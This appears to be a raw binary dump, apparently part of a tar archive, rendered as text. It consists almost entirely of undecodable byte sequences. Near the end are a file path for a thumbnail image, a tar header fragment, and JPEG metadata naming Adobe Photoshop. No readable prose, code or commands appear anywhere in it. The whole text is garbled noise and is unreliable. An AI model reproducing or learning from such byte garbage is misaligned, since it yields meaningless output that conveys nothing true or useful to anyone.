@��� ��c�j��lXr���� ̈́.�d�l��������>��a��i4�}����g����,�/�%�{��� ��'++(��Q��w"S��}G�n*ĝ�ik�W@{���̡B{&y��2�L�;+(�'Y!�A55B�$��cL2��7=�n��<2��/#��I�Z�\�,���U���X��v�v�U�ь�m�w�pI+�����w���ɭ�K^��Mfɻ��L���0H�vu�9677\^�k0��s�����M�#�g0AYYYYY�eW&�eZ�pD��C[fl�c��[��e�+��)�?K)�8w��(&�J����7����Ϲ�϶�eeE�f�)� ��:�M���#!�F�� ���Y�d�h��iiT���Z��N���ׯ���E�iD1Ԍy!��I�jT�E���UsnP�$����*(��͖�h��3�4̓SQ�M5e>��R0��xg��~��5u��D��+Sa�?��˙}���>����G���m��p'� ���K����,�?� iq�1���'��
\�N0���);o�ڼ�&�s�[�=zS%H��nvP؊���o��_�m~}�6S=�:�����������vWJu�_�2����L�.u���Ͱ�:�7�'X��˰V
�X+`�,,"���ޯ"�O����	f�<�S;��l��Q�F[f������~E��M�l>#�,��G��fg�+���\k��=ٚ�g� 2�U����vlc��H�-�5���=��5�<�9"3�q
�%?��������/\ �X�y�S�jtx.jpD,,/D����9<$��{��+��+z1o�=$:μl7��o���$�g�AtE�@T�:Տhٲi�=�񳱰��Y���hLj��|G��:j��'�&�(�:���[�7�
i�g�d?������ǞSJ'�w6L����Ϗ�y[����e�&�i����ů���k��
�̓,Y%�8���+�{�N��M3u�9��<�*b�&o���*|�\���s��3׀�X��KvlR�f�i�(�*���<2�V�O��+++++++?�(��(���Q(���:"p&~�ɐ��M��/��MD��kbG=�Z�k�K<�y]x�;�����{���݂(]!��4`NV��ំx8�²��H0�Fq$�K/�C���?���+?� E���Az�.�V�Ơ�`L�R98�)�9+��avqV��k+����T�r�rhb�g��@hkKݻ��n�ǵG]2'ƀB����>r�/��pj�9�r��+)�Z�������CK��>����8u�Wn���^��I�?O*���=KА��2�т9�	r|�"XX^��(	�ryD�+S->���66ϵ�۴��Z�˱����.-z�"��66cQDŽ	�
l@��:5ػb�&V�_��2K���$��YV��po\(Ote�㟃�[R�-CTЅ1�[�iD/�,coYl��;��2<�az��
�lL�*h�^��{׶���G6���7��sb_Iڵ?��Rh7��{'ՙ��sS���}64�1���x�<=C���Y�׽�Or����Zl
��Ii��m�M>�_N{�$�}}9�|�Ĝ�ց�&���sX#b�aE�$�y@O��
���4�W���o��Z����o�c!��oV������n/�n��n��/�o/鯨�I�SmWY�׌M�0�,���.���׆[R����5���lB]hK�U���xw�慛ޡ��;�����
��0��'_��Hһ�Tb��U���n��3�{J����M�׭��މ�T�	NTl��8��<�<�U�q֏A����,���0�sau��q�So�f�����۪�>BSI9�:�kCבeee7	����cV���@��=~���u�&�J�WU�T��Q�ۊ��
�r���S7�fҁM�@�&�E�zǯ��ݐk�5�h�I��hh¶v�f�wr����.�<���6\(�O���5��S�v�͡4���{!F�\�Z!2�M��d�`%ȋ�r�0�:*�Hv��cU�uhnl6VF���Ӑ򐫷"��]corW�N
��lI��Pz��[���x���:�j~D�����qh���F���\���]���e�;\�����ljTd2Q��K���+`��I#X��^����0&�4�Cƻ��F�h��k��%��mh��
�V��e��j���S�ȣ��c�z�����쳠�Vk�,DHB�%�����������{�Խ���Bb��,&�)�Jm���L���7�NV�[[g_U�ӱ�[ա��Y�^L���CM�h[�Z�*��wv�kdV��ư�I��W�)+��L,.[-�k��J	��&!��8��D,p�7�>�;Q���l0[��<��B�~�,����Qڴ��S�$�Ӹտ��Ʌ�/�nDl�B�En�հ�Q�t�;j-/��y��ӌ׹�l�Z[:�l�I�����xټ�;_wDg~�U]һCyl��5͝�:@����ɽ�=���k�l�	\�˽�w5rܼ��:Þ=E�טeR�i�E
1уofk��#�;���Q����
���sX��PlU��fK�^J	��#����~�w�M��,	�4��c��j��z�����S���Q_�
hz}T=:���i�c,�}�}sl�=o`{M-Hd{gkvV`s7v'}]�6l�5̰l�{}z��������;nKRW]��+DW���C��5�E��R��T����u
�WN#��޾�v3�͙L�FS/@S,�SeaMxA˹w��Qz���->��W51�K�v6ː`�X�}[Qۚ*���G4���r�C������hQ�^�QN�Bcr|?��^D^x^@��Kn��ū��g���mc�k�,�Қm6�k+_���k��
-%v�&X����Ĩש����W�:��Q��"9Y<l��m�11꽎+~���v��M��vլ���.�+l5�l+�Jj��=60��@}N�M���M�@��4!
L(��"MD�R�ŷk��F^�t^PF�:����,��Y��.$�h,'�e���=٦��3�#$)�9-��ز��D�	�/ݑ��S�b4��N�~�N�.�^"������6xJ�	D�:�nęGؚ���#�˘���<�-�_$����� ��O=k|ud�9ڸ\���ջ[���2��k��ks�L�&�k/�ݕB�>��5Aq�"�eyؼ�yW���.⻊�+��!<ew&��H����z[��W"5�����9�r�S#ݜc���^'hj<0J!5���И	28=� ��p|��$���3Y���I�M�j����������k�o�Vz�
�!����E퐊�qa�zܻ�k}{W��|Q��uGu��z$�E=;pI��^XK$F;bp��ݎ�J��_�˖��i�>C�״�5`{Z����r�H�L���J�M+�)9	��6Ze]�CZ�¬O�#��:ۈL-!�i{�w����xi�dm6F��,���tYP��ܺ�@g��0��^ﰔ]�rk�M�P�j`�x��G�5��&���]�n66R�F%�/kej��=�ͼ����V����Z�#���X/z��˧f�L��:��`�y!O?�+��w���R2]��"��QR���1	dXX��ȕ�J%�D�Q+�w��>J�^�ױjē������k�/2?�ŁZxlQ���,7�辘q `8�8��/ws��x�
���H@��A�5�M%5�<15
�Y%�@�A_K<�3A�d�jֶ�UB�����w�lخ�Z��F� �-~��U}էuMܵK�T��qϬuX�Z`,ܺڱ�|�U�װ[��GE^ &�d#bP�������z2#"s�#/H���\�H��5w�rx��8	�3ةe}���J�I+<#oh�9��2K�k~�)��*?����JiL)�W��Mr
k��9���k����J?*��`+���1h(���t��K�V��u���1[V��_��.j��ݙE�Dw��b۵�@�	+(����'�S������A�.�;؄N��WE�k�0���9:�$���	��,^��ᐆ3�Q���NIM�A��~Nwq�mɂm��݈L�@��X�����SU&�=�)��瑁Z2�#gc-��#�YM�B�u����)[htbhJ���M�@�*��L��/SVkƾ��C�����=6�
4��D��'�9��Nz.Nr%H�+/�����	��@x8�X��)_ㆋ[R���+����. �S����J?;�������M�F�]��2�-�	\�8uW86)b�O��p8l-�%�fc6rDѸ�;aH{
47��v�#i@�۫3Z�if���v*�zV����M��|�������Ŀw��g
g�=�=�L�Wr`ru�Ӭ0�L
t����J%��q��+_�Z潯q�
�-����A�cg`%8������YYᕔJ<r���k��؏b�W%�S��R��/�������r�esG���j����T��w�
��y���aK�Z���_��r�r�es\�G��{��Eۮώ$AX��?qLO�����zG���W��?�n�#<�|���L�od�
l=}�C�k�0����h�E�;|�d

jɚ�c�=�!��R}'��;�,X�l�n��Z���Q�TEe1: G��M��X�
i)�c����®��(S�����uM�'1�mi��\0�D�RB=Z�@p�i�Q���HM��O�4B����,#⏗�+^�QM�6fŽv�0��lFg�Nh��u����;���\�o�s���?���ͳ���ϧ�kb������:j�!J�mXS�����g�)�p�1���Jo�#��
S^W`I��EbY0*(�{��rcXz�P Þ��Pi��Fԛ��)�k�U��%|E�pQ�_t�,)��w0��C��ƓG�P(ԡI��8�/�~�����5e�@�=��m��&��W|b�+Q�d[5s��qx�}�:q�X3�lCF�v��S�4��� S�.4&�[�A`L�ɵ��К�ޭ4!I�u�?�o{bޓt�7>gŷ����i9�8z��K���y\�W88�?��?��S��V�)�˃.�P&p�� ��Nl�Pa(!����'�����1�,~J@m�7�)l�d�?߽p��Mc�n���л���a��r��� ͬ�s�/�|�F#0v�x�A��e�PP	' 11n]Q��=��r=��t����m�6�pfn�'�6���4"���vP��5��B��zy�B8����5��jp��=S����-�I��B����Tx���=���_�Ƶsb�U����?���02���~�p����]�m��@-˴k�~���xwr��`��t��0_��h|K��\>t�o�ݿ�J�k�Ѓ�k{������Կ>�7�r3TP���H�G&�}Y�
����}�QvE����KM~ÖF!.�4�\��:���J��Q��[+u5��~W��NZ����?��@��y��4�8|hOC2vAi����԰��%�o�����x��HX��N��	��no4��6��?ŵ��m��/�J~́l� eA�D�(��:�`���8|�l�QG���U���_�Z�:)��bz>K�0[�q��?�%)����ݲ��µa�'�5�TZ�� cn�h+U>h?&��~F���Q�أ���n0'|k
�!j�RG͗7��P��ר�loGú��o.Oeb�[�U�Wt���u������[�(�9�υ��4��j��:���F�%ۇ��l+�5�k�o���nMlܲ}m��^�&�oz
ިV�KW���<��xp�J�J��+�c�IR%�����"�c�hc�-��L���aj�i]�v���7{"�;�Nn��g��jm�]�؅ټFl�!����N	���0:o?�F��n�'A���W�!r��h}օ��2L!\�a���4�鹻�"��,��.�M?��eFګ'�F�	U�jJ��e.�\('��V��-�z�*m��W���_rx֞�]"�#����	���C�5c:�`!�Lxq��1��%:Y�_��?
yh�S����L|� ��%B��8�x��޷�W4C�K_^�e�E�z��˗q�s�N^�O����X�l��?X��I��aNHK���
���~y���m#�〖l��.��2�+r��������w�m����K��tVi�KE��Σy��%ykH�����R�1�y�1�0����FXu恓`=2�%�����.	Rx�QÜ�>*�C=�+���S�b�>��U0T�

|�솜����K�+�5���\;2��3TZ$Z
�f�k��'�SF�j�|�N�v��U[h0�U�x����W`1��m(>�X7�ճ���͠h[����pTЀ)���(	:|�ք#i�TS�V��t��l~U���ⵡcw�;������K��ǽ��}%S��W���ʩ��
���_�A���m�*p"=����J]]j���|h@�r���R�0Y���i�\NI����9��LѤ�4��7����W�&>_>!�'IS—XR��|V;t�,��2!�SH���P���A(1uc݉h�_���ϴ{��Cq�
�
9Lk�*(,�v?��T���#v�XG�/va���]��˅0a�-��͢Ԛ�5O���S�A����%o1.{*}�]��kwr�Q� Ե���>�q��jõ��P����?�UYnj܆�-��ڥX��(p>�&���(�2È�X4��	���p��%0��ϴ?�0�T��+�>R���ˉn��2����
-�G2�-n��,X��t/�YoJ�7pn��?���@�?Dz`A�c��D��i�����8؃�k�@���� Ux	���}sEj�B�X���r:�f�騨��h�	[�w^�Ċ�V��i�[���Z&���n�Ȯ��u[�7�I�ǛWA��
���n�#���kG�/�)��NMS	`%8�Q�%+CI�#�
1�la���Wq[M�~P;�݊�C+
��>W����0�n(q*���y�!<��k�2��M���-�[�o�,.ʖ>�r��m�c荾^���X�s�N9A�-%��i�*pʽ.�lK��d-Bz-��R��Ո������2�':�q2ū�v%���i�2�3�����zE��M�g��w��Ay
l�Ԁ���Y����@�Vua�Pp�0.u���x�r7����9��a���Ǐ��>W�r�|���?�o;ơm��
��N��X�۱g:��J�rZg`TeCҪ�)�.5�v��1�@a�^#������V9[�k�@���l�kTa��;֒iB��݆𶥆 3j"x�-'-;_7)�A�	�?�����B�S��[¥K�>���k������	L�S��`��7DVk�i�x�g!n;��A�l{j;?�'��<a���0Y���n�˚%��X�-h�25�х�a�k�m�٘al�S{Ē
6E��h�߷M3��C�.�����Ok	C���m�c�9>�������Iص���
�R������.=q�'!�e<B�;�Pd��s�5ŠfB�LI��o�/�^�U�]3�}��>�eB�\�( bL��6JA�g'�� �1��e�$v�I�8�g�4�5�w�������f��N�y�)uF�ޯ��+���t��"��L��z��L�R�ƕ����x���b��8�Ԙ�aC����+hu�V�R\�00�n�SN�U���+�)'�J��s{�<{������0���"�]�(>�%�ݏ@�
�F���t�3*1�x1�"4q	���9���g0�3�]�7s���VP��օ�Wj�t���q7�F���r�ն���8�]�ݤo+��ʈ&S�+0��o;�8���s0��G����¨�u#��B�i�l鼃c�.v%F#h��>f8���a���
��{'�J5�@v��)��0V߆�����@�{�!������]Ź�ea�o���Vڬ;Pڼ(sS�����(&9�l�.�'��ę�ύC3�@�L�4c���B�S�-Ԁm1�rQ�J��}����F�
��m�\K%��E�e{-�]�e���my\{j	%O�5e���a5�H��M*��3�
���B�c��w��﻽�=K��n���NB���.'T���da�F�eF(r<^~��2�S<F��-�0@X��wR���/k��J��H���.L2`q� �bҤ��"�ye6Ror�a�/Y8��_ЊM�s{2�ҝ$90�������;A��෽�)�P����X�L�)�<4q�ꍪ~�^.�g�m�^�A�b���F`���øQ�g�Vn�������R�Ψ��a�<���1\k-�WB�}��-eT�9D��tؼ�R���a����QAczʇ�sڲ�R����g�����4�ꉆR�`�m�ט��F'��n\�/7J�ָ��=���(0*ܽ�z;��m?�o�����}r���f$B���DOd���V���DoV�hɱN�%[��$��V�5�a���Z� {l#�%��p����D4��
�}��i�J�M�<ש��(�C��5��R��}HM��Ogމ� �˃�-��P95��/l�c��}��n

��}֚.�a��e�0Y�N��~"�{��Vj��������a��ǘB�
��2�%k���ojPe��7���`߳S��v���NA�V�.x�k\L�.�4["�e'�O��NX5\!>J�M1�⦟��S�m��ɒ��MvڣG(:f�ʫ��u���b�+Q4Ԕڰq��3���s9�π���H�Æ��ySul���ҁ��{s@!��\e_�.`�������k]�+�1��aW��1�	��ΗS��>Ҿ�;��B��tɇ'�qS��[o2�H�]u�n����;JݭP-�a{�q��qOE���[��T�0*���N�e@�p�v��Fm�:�����+���q�d}h.��v���7��,Ƥ���t���
�{���ss����'TW���Ӛ�Kv�%��[��oI���9w�m �PA�t���KJJK�I*�k$媞�`�>�ї�WNq��K�{V�"�a6`Uk�C�g��G���^���ffgXδ�L�pc1���PΑ�L��LGsx?���HT���LI�cyݿY�����tk����/�5�](I'��H�����nus�wn���J]�u0`>��ݼ����!|UU��u���Ϻ��$��F1Z�	�IP��-�^��sV(��ᝫ����u"�U�)^���A���E�KC!��L�5�Pl兏P|�ef���x��^��}�sS���(?�j#waG~�}����4ڷ��Oi��i�\��Ll�ڭ�~�q�{��FY}�������j���O��u?�s���J1����Щ����w.0�e�@���ly��
8���*�ԁ:�uL�ͳ9��g3��'�
�
�C��<K��\��P��Ԭ���z;��΀.�r��.�k{�+n��c:/m����K`*��S��YHM�Sj���6I�*m6t�{k1 zeƶE線!����Z������rں�R8e�:[KJ�R�1'}��4�Kc!�~/�30�ai3��vVSf@MM�l]�ޕcS���(OJ�h����H>��w?w��
\C�?I{�Q�+��J��Y�;iOL-��y^V=":W2���%�P�S��J	�	C���\�2����&`a��W�z�n�R�.�ҡ���~:B-�r3�$�yy��n\����b*G�:���Y���}�n�������nǜ�˓�J࣬g��a�Ӏ��`c���[.H���F �҄f8t]n/��e�I�O�螥��q�}�.8���Mш�M	僔���b\���_:�e�$�-�CB���㼕�r=ǒ�įpj��
4�g����*
Ȍ��v���h}��ѻv���;�y��q��[;�yV�ۚ��l�8����S<�"9�[L���
6�q�=m��Qq;eN&E	�ϥ3��5���l��K�xoح�׽�O�w�)�v���'�K��y?:e�GO<	��m��z ���勛:z�)^��Gu�W��K��Ǐ���?�#��Rc*8L��3��ww6�[5G�Ջ��:7���ݿ]!�|�TtG+��{�5]$���K��4r�榥����`�lb}CځTbEY��	��g���p�d&^X���((8(��2�g�j��5s�&;��B�?Nx��
�w�Lh=��8V9����8g�����h=�:�C�������?n�[R�Q�tSJ��?� �j��k��(q�ܣ�3N��ɱ��SyR+�jy瘏�i��8�tAe�sO\q�J�D�i뗇)�\@Ј|�@fk�*vp�����ZJj:ʎ�P�p�z��yA�ؼ��f-�Lۀ���z��6�1���i�覮
�t=�s�E��Bu�-��4��k���}ԟ���\�FB5˭��̝�ʸ���0�(�<�(��f`71��4��:F�����F�gA�7�o�M�;������b�#w t?$�5���o�A9z-�ˤ�.�,P��0��ˮOwmc�=�����Q+Le6MM��טuB�o�Dq�*=_כ�ڠ0�t���a-7(��˖�
`�+×cCĶZ��d$r�+Xiġ�c�Ҙ	�ˉ������z�q{$��g�sZ��(�������~]Μm��
Z�(��4�Y��}�(����=K>�SĖ����3�S�����i��۹6�����e��@Uf�Ǖ��l��_-�����@i0²~����0�;uݺ�}���>s�_z�¼:���!�s1GW^�,���Z;1���b��[ٖ�!�}W՗P�.�_�
Bc�Q)J��8�N9��ӱ��W��O�Y�a�Ɵ�7�'�m��-�!�+gM$y��<�+,]�c|�)��׼'�?	�ÀRa1�ύO$.�����.W#��Y{{�A��^�1؈z�*
�y>.�â9!�t�nNHn�-Ѓ��nx�1[<����IB*bi����[�nxv�;N�9f�fN�{�
�� �Xq��cw�r`T� ��#��1�a其Ŀ��Ҵ��W��Fi�[ط^���Lb��͔�N|d<�Doh|?��`�Xj�e҆�:ˉܸ������Y��(}�x��`ya$CA�o
��=<'�)9a<�A�K}�^u���t��f��iu+�}�~db�\L
F����f��v�.�3���j%�K�S����߭��ޅ�lq�w><�n[6,�>��+޶��r[�l�6l�
��ں�������\&��*r��!������>y���_^0�'�QR�e���+ÄDž4c��+���zxO	҆��@���Y��a�%��M���r
�1�O��8�P�h���?˷)�c�c�~�ǀ�
�s\�&��5�Ь5*҆���a����vעyu�E�7�7���Q����7������f��~��)M���a�W��;h!�������e�T�9��겐}P�BGG4>h�y�,<��z'��/+��b|��lc�q�%����v��G'�s؋�nɥ%�,�K���=�ƛ��C����<k�N�d�le�V���)���F�H|��r���,����S�Qˌ�Z>��̀r=F\��.lee�җ�W����#��4�9��c¾h|Оx)	�O<�OO	�.��
�P�>Dn��-����7��Qw}�ZL��M���&�l����eψ����}ݲ-�NV��,[��{M����./#
��������'Y%.�+�l���V��h����n�Z�f���I�r�)Za0���s�(�qA�̤z�h�3Pہ���#�� ���h�2�������€����L���G�<�OO���J���ek	���au]��s��ĖwK#�iBה���|C�7�䚦�oJ|c��ܗ�\�4�=���o��x
�G�z������ͬ6,?�o�/�_!�)Z갧�xC+g�혖_8��h�Va����h>
_[��V�8�!N�0��^1��S�ҍ�C�(�a�9Ό�_1�,��"��C1䅆M�J�MxF��P�%�q�r�p%yg�z!�ȷ�{�ҹ[{�;�z��?	?�Ġ��4����ۮ��G��i��MO�7I��8�C�1U跿i�ッ��
��.`��T\I4ZSSbڡ� t�sByfwbz�0��
�����Y�9�F��a�C�������%�
=)m��\mz"��
�@9�(��	��MX�aӄ%�C�.�&�B���H�f�(ek�A+YI�D�����
�U��k��ͥ	j҅EQ�W��	�Ū~���x�b���ۄ��Oh��nOa�w"�0a�x�����X^�;[�.o7
^�1Wm8,[�����5
z�0b�W�;�*��.<��`<���9M�H���tQ�mSX�Ө'PN��A(�5Й��L��gE@�!	�(��)ZJpS8M3�	�&P�c���q�b���_����8�J�r0�|W᠆�UG�қ��|^��USX�����v��қ�|ku#���X�X�o�sO�B35���[k�cIk�=��vzW������!m�/0�Ghý8�n���	�x)*q'y����9�(^�#�BI�Mi�C�he�=�4�G�O��$` k���8����
U�B��|���F��g♩�M!�	��?����~1����b��i֙δ�N��δ��k��y�<���|����(�*�@�Xo~��/��U���/��A���}�v���]?Vd��S�Q.�
^�ݡ�;�w[aTl��Y[.WhjvtM.4��I�7
��W��i��;~,{�
^���ϒ���zO�6,��*��G��eЇ�~���v���|gD�Ƀ�ŷ���<�J]U٧?Tfv
�8�A.�f�ة�Cn�i��v��r��P
y���|f\s|���m��7ܧ����*,���Ɩ�՟�]�?cr�F��M�6Q��w`3��:�>���oj�ZS�w����R]�J�G����ad�E�eEx��@VT�q>s���i��u�k�n�&~�ƽs����lY��ݳ��0��A��/䫐�`	�-Ŷ܄|%��-� ��G�4�����$x�9�����p����E�
��Ā��t�6�S��^1���z�H��y�W�]�e`N���[w8[�s����?����J�����t�4�.�je�������&�th�a|&3��W_~��X���?���kG�6�ٯ��HX�x�9q>a)��Iӽo ��T�ܘ`[*��-�����j9��(%��9>��y
��fw��(M ��C�?��³�kƃ�K׻�8�O������/y˷)0�p��/�yn�~;1�C
��)[@��v���s�K_����2�����t����Q��ǩ�f����lT��B.��c
�vxf�p>և
0г���o]ث�_�<T��,[m' �7���p�ِ�
w0�hk��*�0���uf�n�H32���<K6�������k��p��)�1|G/��5���P1��u�8�7k��i��F�1�7^��׷ع�wn~�nꠋ)ӽ]�OI>_Bt�-YA�n����������u�#�Y׵����9UɧŷYn��,�p���O�����wA�w��;M�f�psp�fp��Wp��4�o�׏tvVPb�U��W�&�H�Z�_2��Pd�!������	�b�(:�
>4�D�]lA��Şܵ�.c�1�,Z����T
,�wnjOyݭ��=2��)	��h�,i�Z�	�lma�$
q�rztO���ˌ��w��Wv��?~��q�ݱ��΍���*�q[�����2۳��)$n��[�߉��輌W���!ޯ�[���9;�m��׹<%?{s>a�A�������s���VEPw�����5k��y=��/�*s�1���j��9�K�e��.R`�:$��1�r�
�T�Jm��m(*`,(���ZW)���A��
ǟ��H�j0�0�7	;	���'��$s��DA�'�:�sF��r�%�*=�Y�n.l3
��>Of�����J5�aNE���?�l��@�u�(|6��f$O�
�a:[��(gKv�>)�+n<�f*G��̸�~�����C����$K��j���D�?f�[�7�V�=��M�o]:- Χ	cv{I�_�K_
��]w�}zH��7{e��I
ME��o� �f���=���4k�jX�s����Ŵ���O��O�n�zd�;_"iYS�
 Rt���f`(��E�Qǡ��mU��,_�t�
.��F�遃j`q�贺��&S)՝Q:��:Io
+4 ˃R�&�9J[j���b��-�aX-��aeu[[�3]��tl)�f7ݛf J�pr)�x�6���A5����m�u�
��Bn�z
U��JW,[`��I��D����4W�4�ZLp�Fݳ3���QO�Ll���t�t?J�ꞩ��y��*G��&��C�҅�[����Cj�n��

���@��O4W|����lX���{|�END���!Z��
����}�
�tY"ݟ�y�j��W���߿��
W	�'b�ۆ���h9�O���������Ѧ�ۏn&��L��q)�p��"��a�k�̦�F]�� �FP�ݮh#�e&�P	T�H��oy��y����7u��L��:��>	���1��u�bA�)�;���f������v
�c���������],�I�Ĵ�+c��\��%�|�>��'�RU��G(������Z7G�jS���6C9���:�D�P���\�w��e��a�X����8h<)o�0�1n1*�.��o�����Tf�xװA��U�m(4��'�ݺzg�;�����ݼ��v�S��+����{�����KG��F�a�c��2����9��4���-�aڕ9l�VT���.�P�O��iqPsPP(��9�2�m9�Bn��5W��aÜ�L�PZ�&�+_By+Y��:V�s��cmTr����u6�D)��AkL���+�ݯx
wD�S�Eo�#�m�
s�_�ɶ��5S1���N���d>�#�m�R�r���
�5�V$R�<DsMh|�>��l3.� �3�5���Xg)P�F��F�m��M���W7O8\a3�'U�ն3��Ղ������*�1<����]#�K��7�앲v�Ĺ�Hn��t��{_)jx�e�s�h�n���4�O�c�����4�|V���ʶ\��JO>1�������A��T(���j�Z`& ̌�N��LLM�O�b9f�C�9�P0�m��	��e�l��,v{ZX�QmܼT�*�a��Ev���	�k��}�_�{լ�U��v�{��ܢ��o۴_t5XT��_gL�`��B�+q4߱<k��O��uz�~�-a�7t�?^��Ca�zPkB��q�F� �7�J��X�,�3A�]6žP �y5�-k[��o`�����[A�@v��s�c�b�2D,�Y�d�#q����e![���	���8T�]���7�<F�:�g�o8k ՔTN��Y�n��lJ(��O��Q����RtOܦ>���??�Hw��apk�D}��ō@����)9�<��;��}/#^gN�}s�뙷�u��?�s�0�ҩ�<�Uw֯,�o��(7�#���nZa�3��/۵m{��Ç���8�ӷ�x?�o	FAp����{lK+�����a��>C�X�\��ږmH�k����w,8�<S�k���F�ǂ�&KK�{����S�^������j��1���%��Z�(�r�S��V�H���n��eRp��%t��~%��nW|[-��$�ׁ�{c�X��N�H���k��*�+Lj)rޭ�u1RFb~��6����M�J�����ع�Cܘ�:K1��`x�=��X
}l^�ך����<[�-�����?���Ckx@�v7�n����L�jX�jTʞ33�(&}[)�O��3�0(¹�rpy�
�:M�#���	^&s>
ݸ�=����� -0�x�]�v{u�GT�������)�x�pD������%�9��lR�(��(i99��4�(v�z��\*B�õq�Ĵ�����J�$ӧ�/X�i��~��
��Ձo���#]K�kLND�n�F�H����M��7�ؕ��m���I����e,1�CPm���E[�}�"������-q��k�A��j[H��(��Q]c�.�x`rj�xL7��Gۘ�
����!�@�Vc~���O���$}���~H��w�'��>�:�=Bt.�H��&A���B9a<�Kh3UQ�B�՚�PcNS
�p��2����,MI��a��(�����Ry��`Rh�р����as����s���Dp}�;�W��?�WΟ�O��>u�	��dy�>��Q��`���RFЬ���^��n[��̳��t�}bQ�nB~yQ��n���趙��~�hlV`��L7�>���)sQζ�ڕ��F��*���6w\(�S0c�m~�L
��T�0'�yk����j�?yo�3��r2�(yvyb(��Q�7�	�M���~DԤ�[i�C���ԺJ�>+p]�-.����N�*�p7���Im����o��]�-�'I'��_��zy��7Ty�&�..\8
d!F,�9��{:fӬg^uǪ`W�S��Ψ�ί�:��L�|Z��S��\C��tJ�����4����o�U�d~͢
פ5Lb��\�D,r�*aT=�T�%v���5�GE�4f��X(34�6����RPgc�p�d
33��|�ȉI���9�G��>�~�y�Ɣm�등����o;O����l��ڟ���~�������v�S���pΆ񼧚���pgG���<�L����W�e�}����-{��H+�N���v௙��)��p��;�4g�[O��h=��۝&�������
|���7B��0g�pbUTj��U�p��ںEX����X���{ 6,AӇ��`p�ن"P�Ȫ�ِ&�H��.�-�L:O� �q���;M;:�<k[���l�Ң��
���ݼ\�P�A\����\���&*�N��}?igJ�>*̊��>�N��_�~�kw*Mj�)B;�]AT��9�t|?<M��4�ʛ *jDCb�Ǵ~���ϊʹ���6[>�C��0��*f0�ٗ'�PJ����7��'!*qv�Q��"`�l>q1@|�jB>^%I��ַrE��5w�B���u9})[�M��(����?��hZ��A��nX"�T��n�6�&�L�}�K�%P]nڽ��Z�T9�?9`�׬�FV ��^�����8��}�^"@�ʍ��b峬S��۔
��e����;�O�-PT��2���z�C]��A����� `V=6$Wޘ>pG�i��o�t����CT�>�G�Ή͏�ׯd���-��+��a%��Y����\�W&�
GQ�y��k\k(3��S�60�a�\-�y��cp���a���y�9�0,d8js9O�y�r��z>yS5�X�u�q<9���Y�[�V�-�#\["Ґ���	>�G���m/H
�{3��e��w:�Թc٧ztJ�m�)鶄�=#*��:IpS�֍C�ӰS���U�K S�"� ���Z�BTj�Sv҈�Kܸt�'�7�7��*5[��D��
�=��94��#��V;��/����.��6��oZ��:VO�`~��:J��S�5��^Bh~t�5�V�ث�û�(�9Gz� ��V��a���	����7Ԙ�Ġ�fx�h�����JX�����j�ņ�D�s����Y������g+�dӴ�|�v��[|Q���y��涔�l�L�x�v	S�s��<�g�S�7eqQm�A�)�)�C�:)AoN�aZu�KwOF�n�m�uV�	 �
�`��f2��.�\���)5�?A�o�2�YV�f�Q)�$�,�.Z�m��H�ޔ��5zc�y:0ό��*�O��:./�'�湅�����a�R��1��X��Ῠ�e���ȣ�lY��%��QJ�=�uaJ�*?�8�{�z��p�]�c�S�o�u�[���u���0�&���V�~~	�ze}^S�e��f*�)��N�<�S�x+�x���85@��,�ѩ�JB܂�V�$���O7���?z�i`Jч�Tk�,\B��	�A�ٞ�'No<�[Ϊ~�����/@��+5�bQ�t����y�0�0��oꋉ�l`[6�0��O�-< �se�55�D��g�֘�hN���(ˁߐ\m��^�;��f���e����9J�)A�z,G��Au��ٱf�<�%�#l,��NI�`kW�b���6�\�4�	���D(l:Wi�m��T	ҳq~,�d�l�3��=#�?��KG�g㯮i�p3rU1�+���e 2犀�l��2��(�]>�T��N�
:)_1���t�җ����i�	��g�:�r§�=���hN��y���'�ݭ��W��&����
6��|8��C�W��_>~����ϝ��6|����Ů���j�̖駪:���upm�F����-5�����Q�h�ڝ��;_��M�d�|l��=5����T�zWn����H��^��׫��c�íy_�ј|�Z
W�=��a��l�'c��|j�_�6��
�w�ů͘x?��~��ħ5>��o�?Y�N�;_�����S������׭����ٗ=��zD�~����ϋ�?���images/thumbs/img4.jpg000066600000131611151150443020010657 0ustar00����ExifMM*�����(1!�2Շi�$
��'
��'Adobe Photoshop 25.1 (Macintosh)2023:11:13 21:41:27�0231�������rz(�5HH���Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��:p�N�j�jV�b����LS�Emd�'�TF��b'�H��	��b�f�;�qk7���/ڌ�JG�o2
�C��v�94�Z-t�^|4����8sim���k�4	��M����3�c�ɏ�ٷ�X���Z�����.����S݅S7�cv���c�ݳOQ۶���a~c��sه[�*�;KZ^�u��ܰ��Li⣖~B?[a�z�>F����K�9u��\`���mw��6_O�pf=�{�ծ?�k�wer��<G�֫����3��+~��D%���.�&N
�lY����@�ߓӾ�%Z�T1z�F5��|��{�����w�Z�?��h�L#P���h�!�xf�
��Ŷ�N�-{�T.d(�����И0�\0�Ј	Pj bv���x���V��4LK�45ܭ3��S-�U}�YN�v��ͺ��D��F��I>3�Z>����akj}����w9�<����g�6��F�ZXX�{�c�]�w��N�>ݾ�{����T-��n�X�0���������q�k�w8�p�=���>ߤ�z9f���C}6��\�0k}F~rpn�`�K�	,�6A�wx�m��Vێ��,����
���;��~�fR��ݼnhO��v�n�^X㫠�$
����Gdq��������q7�@..m�k�^�̏kl��m�J����Q���ʒ]��c�q���^��G�d9�,v�acH?�k÷�C��:�3�[]�q�kkk=��>���W��][�����@������sd��I�t����<~g���V�5�WLn{~�h��!'
���.s���DCA�k��EI��0�_οq�ʯ�����39�dž���9~��.w5�r�A'�ԁ�G����oN�k�����&�����oiw�=Q����]�^�X��o�cZ<,}M����`�ۏ��1���Tܚ��\k-̚��ޥ�vٵ�XK�`6}?~��n��o�Ǫ�mO�)�mo+o)5�8?�ގ%���/g+7!��J-�'���R0�
p�Њƨ�"�'�lf��5����(T�r���~]�U�1(U!�Ln&~�Z~�Y��r#��]��%� �K���n���\xl�?�[��ce季:�H
��cN����9l��:��V�`z��X���=�v}��
